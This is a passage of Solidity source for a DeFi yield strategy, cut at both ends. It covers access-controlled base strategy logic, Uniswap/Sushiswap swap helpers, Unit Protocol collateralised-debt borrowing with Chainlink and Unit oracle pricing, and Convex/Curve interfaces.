function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
contract SettAccessControl is Initializable {
address public governance;
address public strategist;
address public keeper;
// ===== MODIFIERS =====
function _onlyGovernance() internal view {
require(msg.sender == governance, "onlyGovernance");
}
function _onlyGovernanceOrStrategist() internal view {
require(msg.sender == strategist || msg.sender == governance, "onlyGovernanceOrStrategist");
}
function _onlyAuthorizedActors() internal view {
require(msg.sender == keeper || msg.sender == governance, "onlyAuthorizedActors");
}
// ===== PERMISSIONED ACTIONS =====
/// @notice Change strategist address
/// @notice Can only be changed by governance itself
function setStrategist(address _strategist) external {
_onlyGovernance();
strategist = _strategist;
}
/// @notice Change keeper address
/// @notice Can only be changed by governance itself
function setKeeper(address _keeper) external {
_onlyGovernance();
keeper = _keeper;
}
/// @notice Change governance address
/// @notice Can only be changed by governance itself
function setGovernance(address _governance) public {
_onlyGovernance();
governance = _governance;
}
uint256[50] private __gap;
}
library MathUpgradeable {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
interface IController {
function withdraw(address, uint256) external;
function withdrawAll(address) external;
function strategies(address) external view returns (address);
function approvedStrategies(address, address) external view returns (address);
function balanceOf(address) external view returns (uint256);
function earn(address, uint256) external;
function approveStrategy(address, address) external;
function setStrategy(address, address) external;
function setVault(address, address) external;
function want(address) external view returns (address);
function rewards() external view returns (address);
function vaults(address) external view returns (address);
}
interface IStrategy {
function want() external view returns (address);
function deposit() external;
// NOTE: must exclude any tokens used in the yield
// Controller role - withdraw should return to Controller
function withdrawOther(address) external returns (uint256 balance);
// Controller | Vault role - withdraw should always return to Vault
function withdraw(uint256) external;
// Controller | Vault role - withdraw should always return to Vault
function withdrawAll() external returns (uint256);
function balanceOf() external view returns (uint256);
function balanceOfPool() external view returns (uint256);
function balanceOfWant() external view returns (uint256);
function getName() external pure returns (string memory);
function setStrategist(address _strategist) external;
function setWithdrawalFee(uint256 _withdrawalFee) external;
function setPerformanceFeeStrategist(uint256 _performanceFeeStrategist) external;
function setPerformanceFeeGovernance(uint256 _performanceFeeGovernance) external;
function setGovernance(address _governance) external;
function setController(address _controller) external;
function controller() external returns (address);
function governance() external returns (address);
function tend() external;
function harvest() external;
}
abstract contract BaseStrategy is PausableUpgradeable, SettAccessControl {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
event Withdraw(uint256 amount);
event WithdrawAll(uint256 balance);
event WithdrawOther(address token, uint256 amount);
event SetStrategist(address strategist);
event SetGovernance(address governance);
event SetController(address controller);
event SetWithdrawalFee(uint256 withdrawalFee);
event SetPerformanceFeeStrategist(uint256 performanceFeeStrategist);
event SetPerformanceFeeGovernance(uint256 performanceFeeGovernance);
event Harvest(uint256 harvested, uint256 indexed blockNumber);
event Tend(uint256 tended);
address public want; // Want: Curve.fi renBTC/wBTC (crvRenWBTC) LP token
uint256 public performanceFeeGovernance;
uint256 public performanceFeeStrategist;
uint256 public withdrawalFee;
uint256 public constant MAX_FEE = 10000;
address public controller;
address public guardian;
uint256 public withdrawalMaxDeviationThreshold;
function __BaseStrategy_init(
address _governance,
address _strategist,
address _controller,
address _keeper,
address _guardian
) public initializer whenNotPaused {
__Pausable_init();
governance = _governance;
strategist = _strategist;
keeper = _keeper;
controller = _controller;
guardian = _guardian;
withdrawalMaxDeviationThreshold = 50;
}
// ===== Modifiers =====
function _onlyController() internal view {
require(msg.sender == controller, "onlyController");
}
function _onlyAuthorizedActorsOrController() internal view {
require(msg.sender == keeper || msg.sender == governance || msg.sender == controller, "onlyAuthorizedActorsOrController");
}
function _onlyAuthorizedPausers() internal view {
require(msg.sender == guardian || msg.sender == governance, "onlyPausers");
}
/// ===== View Functions =====
function baseStrategyVersion() public view returns (string memory) {
return "1.2";
}
/// @notice Get the balance of want held idle in the Strategy
function balanceOfWant() public view returns (uint256) {
return IERC20Upgradeable(want).balanceOf(address(this));
}
/// @notice Get the total balance of want realized in the strategy, whether idle or active in Strategy positions.
function balanceOf() public virtual view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function isTendable() public virtual view returns (bool) {
return false;
}
function isProtectedToken(address token) public view returns (bool) {
address[] memory protectedTokens = getProtectedTokens();
for (uint256 i = 0; i < protectedTokens.length; i++) {
if (token == protectedTokens[i]) {
return true;
}
}
return false;
}
/// ===== Permissioned Actions: Governance =====
function setGuardian(address _guardian) external {
_onlyGovernance();
guardian = _guardian;
}
function setWithdrawalFee(uint256 _withdrawalFee) external {
_onlyGovernance();
require(_withdrawalFee <= MAX_FEE, "base-strategy/excessive-withdrawal-fee");
withdrawalFee = _withdrawalFee;
}
function setPerformanceFeeStrategist(uint256 _performanceFeeStrategist) external {
_onlyGovernance();
require(_performanceFeeStrategist <= MAX_FEE, "base-strategy/excessive-strategist-performance-fee");
performanceFeeStrategist = _performanceFeeStrategist;
}
function setPerformanceFeeGovernance(uint256 _performanceFeeGovernance) external {
_onlyGovernance();
require(_performanceFeeGovernance <= MAX_FEE, "base-strategy/excessive-governance-performance-fee");
performanceFeeGovernance = _performanceFeeGovernance;
}
function setController(address _controller) external {
_onlyGovernance();
controller = _controller;
}
function setWithdrawalMaxDeviationThreshold(uint256 _threshold) external {
_onlyGovernance();
require(_threshold <= MAX_FEE, "base-strategy/excessive-max-deviation-threshold");
withdrawalMaxDeviationThreshold = _threshold;
}
function deposit() public virtual whenNotPaused {
_onlyAuthorizedActorsOrController();
uint256 _want = IERC20Upgradeable(want).balanceOf(address(this));
if (_want > 0) {
_deposit(_want);
}
_postDeposit();
}
// ===== Permissioned Actions: Controller =====
/// @notice Controller-only function to Withdraw partial funds, normally used with a vault withdrawal
function withdrawAll() external virtual whenNotPaused returns (uint256 balance) {
_onlyController();
_withdrawAll();
_transferToVault(IERC20Upgradeable(want).balanceOf(address(this)));
}
/// @notice Withdraw partial funds from the strategy, unrolling from strategy positions as necessary
/// @notice Processes withdrawal fee if present
/// @dev If it fails to recover sufficient funds (defined by withdrawalMaxDeviationThreshold), the withdrawal should fail so that this unexpected behavior can be investigated
function withdraw(uint256 _amount) external virtual whenNotPaused {
_onlyController();
// Withdraw from strategy positions, typically taking from any idle want first.
_withdrawSome(_amount);
uint256 _postWithdraw = IERC20Upgradeable(want).balanceOf(address(this));
// Sanity check: Ensure we were able to retrieve sufficent want from strategy positions
// If we end up with less than the amount requested, make sure it does not deviate beyond a maximum threshold
if (_postWithdraw < _amount) {
uint256 diff = _diff(_amount, _postWithdraw);
// Require that difference between expected and actual values is less than the deviation threshold percentage
require(diff <= _amount.mul(withdrawalMaxDeviationThreshold).div(MAX_FEE), "base-strategy/withdraw-exceed-max-deviation-threshold");
}
// Return the amount actually withdrawn if less than amount requested
uint256 _toWithdraw = MathUpgradeable.min(_postWithdraw, _amount);
// Process withdrawal fee
uint256 _fee = _processWithdrawalFee(_toWithdraw);
// Transfer remaining to Vault to handle withdrawal
_transferToVault(_toWithdraw.sub(_fee));
}
// NOTE: must exclude any tokens used in the yield
// Controller role - withdraw should return to Controller
function withdrawOther(address _asset) external virtual whenNotPaused returns (uint256 balance) {
_onlyController();
_onlyNotProtectedTokens(_asset);
balance = IERC20Upgradeable(_asset).balanceOf(address(this));
IERC20Upgradeable(_asset).safeTransfer(controller, balance);
}
/// ===== Permissioned Actions: Authoized Contract Pausers =====
function pause() external {
_onlyAuthorizedPausers();
_pause();
}
function unpause() external {
_onlyGovernance();
_unpause();
}
/// ===== Internal Helper Functions =====
/// @notice If withdrawal fee is active, take the appropriate amount from the given value and transfer to rewards recipient
/// @return The withdrawal fee that was taken
function _processWithdrawalFee(uint256 _amount) internal returns (uint256) {
if (withdrawalFee == 0) {
return 0;
}
uint256 fee = _amount.mul(withdrawalFee).div(MAX_FEE);
IERC20Upgradeable(want).safeTransfer(IController(controller).rewards(), fee);
return fee;
}
/// @dev Helper function to process an arbitrary fee
/// @dev If the fee is active, transfers a given portion in basis points of the specified value to the recipient
/// @return The fee that was taken
function _processFee(
address token,
uint256 amount,
uint256 feeBps,
address recipient
) internal returns (uint256) {
if (feeBps == 0) {
return 0;
}
uint256 fee = amount.mul(feeBps).div(MAX_FEE);
IERC20Upgradeable(token).safeTransfer(recipient, fee);
return fee;
}
function _transferToVault(uint256 _amount) internal {
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20Upgradeable(want).safeTransfer(_vault, _amount);
}
/// @notice Utility function to diff two numbers, expects higher value in first position
function _diff(uint256 a, uint256 b) internal pure returns (uint256) {
require(a >= b, "diff/expected-higher-number-in-first-position");
return a.sub(b);
}
// ===== Abstract Functions: To be implemented by specific Strategies =====
/// @dev Internal deposit logic to be implemented by Stratgies
function _deposit(uint256 _want) internal virtual;
function _postDeposit() internal virtual {
//no-op by default
}
/// @notice Specify tokens used in yield process, should not be available to withdraw via withdrawOther()
function _onlyNotProtectedTokens(address _asset) internal virtual;
function getProtectedTokens() public virtual view returns (address[] memory) {
return new address[](0);
}
/// @dev Internal logic for strategy migration. Should exit positions as efficiently as possible
function _withdrawAll() internal virtual;
/// @dev Internal logic for partial withdrawals. Should exit positions as efficiently as possible.
/// @dev The withdraw() function shell automatically uses idle want in the strategy before attempting to withdraw more using this
function _withdrawSome(uint256 _amount) internal virtual returns (uint256);
/// @dev Realize returns from positions
/// @dev Returns can be reinvested into positions, or distributed in another fashion
/// @dev Performance fees should also be implemented in this function
/// @dev Override function stub is removed as each strategy can have it's own return signature for STATICCALL
// function harvest() external virtual;
/// @dev User-friendly name for this strategy for purposes of convenient reading
function getName() external virtual pure returns (string memory);
/// @dev Balance of want currently held in strategy positions
function balanceOfPool() public virtual view returns (uint256);
uint256[49] private __gap;
}
contract BaseSwapper {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
/// @dev Reset approval and approve exact amount
function _safeApproveHelper(
address token,
address recipient,
uint256 amount
) internal {
IERC20Upgradeable(token).safeApprove(recipient, 0);
IERC20Upgradeable(token).safeApprove(recipient, amount);
}
}
interface IUniswapRouterV2 {
function factory() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract UniswapSwapper is BaseSwapper {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
address internal constant uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap router
address internal constant sushiswap = 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F; // Sushiswap router
function _swapExactTokensForTokens(
address router,
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, router, balance);
IUniswapRouterV2(router).swapExactTokensForTokens(balance, 0, path, address(this), now);
}
function _swapExactETHForTokens(
address router,
uint256 balance,
address[] memory path
) internal {
IUniswapRouterV2(uniswap).swapExactETHForTokens{value: balance}(0, path, address(this), now);
}
function _swapExactTokensForETH(
address router,
address startToken,
uint256 balance,
address[] memory path
) internal {
_safeApproveHelper(startToken, router, balance);
IUniswapRouterV2(router).swapExactTokensForETH(balance, 0, path, address(this), now);
}
function _getPair(
address router,
address token0,
address token1
) internal view returns (address) {
address factory = IUniswapRouterV2(router).factory();
return IUniswapV2Factory(factory).getPair(token0, token1);
}
/// @notice Add liquidity to uniswap for specified token pair, utilizing the maximum balance possible
function _addMaxLiquidity(
address router,
address token0,
address token1
) internal {
uint256 _token0Balance = IERC20Upgradeable(token0).balanceOf(address(this));
uint256 _token1Balance = IERC20Upgradeable(token1).balanceOf(address(this));
_safeApproveHelper(token0, router, _token0Balance);
_safeApproveHelper(token1, router, _token1Balance);
IUniswapRouterV2(router).addLiquidity(token0, token1, _token0Balance, _token1Balance, 0, 0, address(this), block.timestamp);
}
function _addMaxLiquidityEth(address router, address token0) internal {
uint256 _token0Balance = IERC20Upgradeable(token0).balanceOf(address(this));
uint256 _ethBalance = address(this).balance;
_safeApproveHelper(token0, router, _token0Balance);
IUniswapRouterV2(router).addLiquidityETH{value: address(this).balance}(token0, _token0Balance, 0, 0, address(this), block.timestamp);
}
}
interface IUnitVaultParameters {
function tokenDebtLimit(address asset) external view returns (uint256);
}
interface IUnitVault {
function calculateFee(
address asset,
address user,
uint256 amount
) external view returns (uint256);
function getTotalDebt(address asset, address user) external view returns (uint256);
function debts(address asset, address user) external view returns (uint256);
function collaterals(address asset, address user) external view returns (uint256);
function tokenDebts(address asset) external view returns (uint256);
}
interface IUnitCDPManager {
function exit(
address asset,
uint256 assetAmount,
uint256 usdpAmount
) external returns (uint256);
function join(
address asset,
uint256 assetAmount,
uint256 usdpAmount
) external;
function oracleRegistry() external view returns (address);
}
interface IUnitUsdOracle {
// returns Q112-encoded value
// returned value 10**18 * 2**112 is $1
function assetToUsd(address asset, uint256 amount) external view returns (uint256);
}
interface IUnitOracleRegistry {
function oracleByAsset(address asset) external view returns (address);
}
abstract contract StrategyUnitProtocolMeta is BaseStrategy, UniswapSwapper {
using SafeERC20Upgradeable for IERC20Upgradeable;
using AddressUpgradeable for address;
using SafeMathUpgradeable for uint256;
// Unit Protocol module: https://github.com/unitprotocol/core/blob/master/CONTRACTS.md
address public constant cdpMgr01 = 0x0e13ab042eC5AB9Fc6F43979406088B9028F66fA;
address public constant unitVault = 0xb1cFF81b9305166ff1EFc49A129ad2AfCd7BCf19;
address public constant unitVaultParameters = 0xB46F8CF42e504Efe8BEf895f848741daA55e9f1D;
address public constant debtToken = 0x1456688345527bE1f37E9e627DA0837D6f08C925;
address public constant eth_usd = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
bool public useUnitUsdOracle = true;
// sub-strategy related constants
address public collateral;
uint256 public collateralDecimal = 1e18;
address public unitOracle;
uint256 public collateralPriceDecimal = 1;
bool public collateralPriceEth = false;
// configurable minimum collateralization percent this strategy would hold for CDP
uint256 public minRatio = 150;
// collateralization percent buffer in CDP debt actions
uint256 public ratioBuff = 200;
uint256 public constant ratioBuffMax = 10000;
// used as dust to avoid closing out a debt repayment
uint256 public dustMinDebt = 10000;
uint256 public constant Q112 = 2**112;
// **** Modifiers **** //
function _onlyCDPInUse() internal view {
uint256 collateralAmt = getCollateralBalance();
require(collateralAmt > 0, "!zeroCollateral");
uint256 debtAmt = getDebtBalance();
require(debtAmt > 0, "!zeroDebt");
}
// **** Getters ****
function getCollateralBalance() public view returns (uint256) {
return IUnitVault(unitVault).collaterals(collateral, address(this));
}
function getDebtBalance() public view returns (uint256) {
return IUnitVault(unitVault).getTotalDebt(collateral, address(this));
}
function getDebtWithoutFee() public view returns (uint256) {
return IUnitVault(unitVault).debts(collateral, address(this));
}
function getDueFee() public view returns (uint256) {
uint256 totalDebt = getDebtBalance();
uint256 borrowed = getDebtWithoutFee();
return totalDebt > borrowed? totalDebt.sub(borrowed) : 0;
}
function debtLimit() public view returns (uint256) {
return IUnitVaultParameters(unitVaultParameters).tokenDebtLimit(collateral);
}
function debtUsed() public view returns (uint256) {
return IUnitVault(unitVault).tokenDebts(collateral);
}
/// @dev Balance of want currently held in strategy positions
function balanceOfPool() public override view returns (uint256) {
return getCollateralBalance();
}
function collateralValue(uint256 collateralAmt) public view returns (uint256) {
uint256 collateralPrice = getLatestCollateralPrice();
return collateralAmt.mul(collateralPrice).mul(1e18).div(collateralDecimal).div(collateralPriceDecimal); // debtToken in 1e18 decimal
}
function currentRatio() public view returns (uint256) {
_onlyCDPInUse();
uint256 collateralAmt = collateralValue(getCollateralBalance()).mul(100);
uint256 debtAmt = getDebtBalance();
return collateralAmt.div(debtAmt);
}
// if borrow is true (for addCollateralAndBorrow): return (maxDebt - currentDebt) if positive value, otherwise return 0
// if borrow is false (for repayAndRedeemCollateral): return (currentDebt - maxDebt) if positive value, otherwise return 0
function calculateDebtFor(uint256 collateralAmt, bool borrow) public view returns (uint256) {
uint256 maxDebt = collateralAmt > 0 ? collateralValue(collateralAmt).mul(ratioBuffMax).div(_getBufferedMinRatio(ratioBuffMax)) : 0;
uint256 debtAmt = getDebtBalance();
uint256 debt = 0;
if (borrow && maxDebt >= debtAmt) {
debt = maxDebt.sub(debtAmt);
} else if (!borrow && debtAmt >= maxDebt) {
debt = debtAmt.sub(maxDebt);
}
return (debt > 0) ? debt : 0;
}
function _getBufferedMinRatio(uint256 _multiplier) internal view returns (uint256) {
require(ratioBuffMax > 0, "!ratioBufferMax");
require(minRatio > 0, "!minRatio");
return minRatio.mul(_multiplier).mul(ratioBuffMax.add(ratioBuff)).div(ratioBuffMax).div(100);
}
function borrowableDebt() public view returns (uint256) {
uint256 collateralAmt = getCollateralBalance();
return calculateDebtFor(collateralAmt, true);
}
function requiredPaidDebt(uint256 _redeemCollateralAmt) public view returns (uint256) {
uint256 totalCollateral = getCollateralBalance();
uint256 collateralAmt = _redeemCollateralAmt >= totalCollateral ? 0 : totalCollateral.sub(_redeemCollateralAmt);
return calculateDebtFor(collateralAmt, false);
}
// **** sub-strategy implementation ****
function _depositUSDP(uint256 _usdpAmt) internal virtual;
function _withdrawUSDP(uint256 _usdpAmt) internal virtual;
// **** Oracle (using chainlink) ****
function getLatestCollateralPrice() public view returns (uint256) {
if (useUnitUsdOracle) {
address unitOracleRegistry = IUnitCDPManager(cdpMgr01).oracleRegistry();
address unitUsdOracle = IUnitOracleRegistry(unitOracleRegistry).oracleByAsset(collateral);
uint256 usdPriceInQ122 = IUnitUsdOracle(unitUsdOracle).assetToUsd(collateral, collateralDecimal);
return uint256(usdPriceInQ122 / Q112).mul(collateralPriceDecimal).div(1e18); // usd price from unit protocol oracle in 1e18 decimal
}
require(unitOracle != address(0), "!_collateralOracle");
(, int256 price, , , ) = IChainlinkAggregator(unitOracle).latestRoundData();
if (price > 0) {
if (collateralPriceEth) {
(, int256 ethPrice, , , ) = IChainlinkAggregator(eth_usd).latestRoundData(); // eth price from chainlink in 1e8 decimal
return uint256(price).mul(collateralPriceDecimal).mul(uint256(ethPrice)).div(1e8).div(collateralPriceEth ? 1e18 : 1);
} else {
return uint256(price).mul(collateralPriceDecimal).div(1e8);
}
} else {
return 0;
}
}
// **** Setters ****
function setMinRatio(uint256 _minRatio) external {
_onlyGovernance();
minRatio = _minRatio;
}
function setRatioBuff(uint256 _ratioBuff) external {
_onlyGovernance();
ratioBuff = _ratioBuff;
}
function setDustMinDebt(uint256 _dustDebt) external {
_onlyGovernance();
dustMinDebt = _dustDebt;
}
function setUseUnitUsdOracle(bool _useUnitUsdOracle) external {
_onlyGovernance();
useUnitUsdOracle = _useUnitUsdOracle;
}
// **** Unit Protocol CDP actions ****
function addCollateralAndBorrow(uint256 _collateralAmt, uint256 _usdpAmt) internal {
require(_usdpAmt.add(debtUsed()) < debtLimit(), "!exceedLimit");
_safeApproveHelper(collateral, unitVault, _collateralAmt);
IUnitCDPManager(cdpMgr01).join(collateral, _collateralAmt, _usdpAmt);
}
function repayAndRedeemCollateral(uint256 _collateralAmt, uint256 _usdpAmt) internal {
_safeApproveHelper(debtToken, unitVault, _usdpAmt);
IUnitCDPManager(cdpMgr01).exit(collateral, _collateralAmt, _usdpAmt);
}
// **** State Mutation functions ****
function keepMinRatio() external {
_onlyCDPInUse();
_onlyAuthorizedActorsOrController();
uint256 requiredPaidback = requiredPaidDebt(0);
if (requiredPaidback > 0) {
_withdrawUSDP(requiredPaidback);
uint256 _currentDebtVal = IERC20Upgradeable(debtToken).balanceOf(address(this));
uint256 _actualPaidDebt = _currentDebtVal;
uint256 _totalDebtWithoutFee = getDebtWithoutFee();
uint256 _fee = getDebtBalance().sub(_totalDebtWithoutFee);
require(_actualPaidDebt > _fee, "!notEnoughForFee");
_actualPaidDebt = _actualPaidDebt.sub(_fee); // unit protocol will charge fee first
_actualPaidDebt = _capMaxDebtPaid(_actualPaidDebt, _totalDebtWithoutFee);
require(_currentDebtVal >= _actualPaidDebt.add(_fee), "!notEnoughRepayment");
repayAndRedeemCollateral(0, _actualPaidDebt);
}
}
/// @dev Internal deposit logic to be implemented by Strategies
function _deposit(uint256 _want) internal override {
if (_want > 0) {
uint256 _newDebt = calculateDebtFor(_want.add(getCollateralBalance()), true);
if (_newDebt > 0) {
addCollateralAndBorrow(_want, _newDebt);
uint256 wad = IERC20Upgradeable(debtToken).balanceOf(address(this));
_depositUSDP(_newDebt > wad ? wad : _newDebt);
}
}
}
// to avoid repay all debt resulting to close the CDP unexpectedly
function _capMaxDebtPaid(uint256 _actualPaidDebt, uint256 _totalDebtWithoutFee) internal view returns (uint256) {
uint256 _maxDebtToRepay = _totalDebtWithoutFee.sub(dustMinDebt);
return _actualPaidDebt >= _maxDebtToRepay ? _maxDebtToRepay : _actualPaidDebt;
}
/// @dev Internal logic for partial withdrawals. Should exit positions as efficiently as possible.
/// @dev The withdraw() function shell automatically uses idle want in the strategy before attempting to withdraw more using this
function _withdrawSome(uint256 _amount) internal override returns (uint256) {
if (_amount == 0) {
return _amount;
}
uint256 requiredPaidback = requiredPaidDebt(_amount);
if (requiredPaidback > 0) {
_withdrawUSDP(requiredPaidback);
}
bool _fullWithdraw = _amount >= balanceOfPool();
uint256 _wantBefore = IERC20Upgradeable(want).balanceOf(address(this));
if (!_fullWithdraw) {
uint256 _currentDebtVal = IERC20Upgradeable(debtToken).balanceOf(address(this));
uint256 _actualPaidDebt = _currentDebtVal;
uint256 _totalDebtWithoutFee = getDebtWithoutFee();
uint256 _fee = getDebtBalance().sub(_totalDebtWithoutFee);
require(_actualPaidDebt > _fee, "!notEnoughForFee");
_actualPaidDebt = _actualPaidDebt.sub(_fee); // unit protocol will charge fee first
_actualPaidDebt = _capMaxDebtPaid(_actualPaidDebt, _totalDebtWithoutFee);
require(_currentDebtVal >= _actualPaidDebt.add(_fee), "!notEnoughRepayment");
repayAndRedeemCollateral(_amount, _actualPaidDebt);
} else {
require(IERC20Upgradeable(debtToken).balanceOf(address(this)) >= getDebtBalance(), "!notEnoughFullRepayment");
repayAndRedeemCollateral(_amount, getDebtBalance());
require(getDebtBalance() == 0, "!leftDebt");
require(getCollateralBalance() == 0, "!leftCollateral");
}
uint256 _wantAfter = IERC20Upgradeable(want).balanceOf(address(this));
return _wantAfter.sub(_wantBefore);
}
/// @dev Internal logic for strategy migration. Should exit positions as efficiently as possible
function _withdrawAll() internal override {
_withdrawSome(balanceOfPool());
}
}
interface IChainlinkAggregator {
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function getRoundData(uint80 _roundId)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
interface IBaseRewardsPool {
//balance
function balanceOf(address _account) external view returns (uint256);
//withdraw to a convex tokenized deposit
function withdraw(uint256 _amount, bool _claim) external returns (bool);
//withdraw directly to curve LP token
function withdrawAndUnwrap(uint256 _amount, bool _claim) external returns (bool);
//claim rewards
function getReward() external returns (bool);
//stake a convex tokenized deposit
function stake(uint256 _amount) external returns (bool);
//stake a convex tokenized deposit for another address(transfering ownership)
function stakeFor(address _account, uint256 _amount) external returns (bool);
function getReward(address _account, bool _claimExtras) external returns (bool);
function rewards(address _account) external view returns (uint256);
function earned(address _account) external view returns (uint256);
function stakingToken() external view returns (address);
}
interface IBooster {
struct PoolInfo {
address lptoken;
address token;
address gauge;
address crvRewards;
address stash;
bool shutdown;
}
function poolInfo(uint256 _pid) external view returns (PoolInfo memory);
function deposit(
uint256 _pid,
uint256 _amount,
bool _stake
) external returns (bool);
function depositAll(uint256 _pid, bool _stake) external returns (bool);
function withdraw(uint256 _pid, uint256 _amount) external returns (bool);
function withdrawAll(uint256 _pid) external returns (bool);
}
interface ICvxMinter {
function reductionPerCliff() external view returns (uint256);
function totalCliffs() external view returns (uint256);
function maxSupply() external view returns (uint256);
}
interface ICurveExchange {
function exchange(
int128 i,
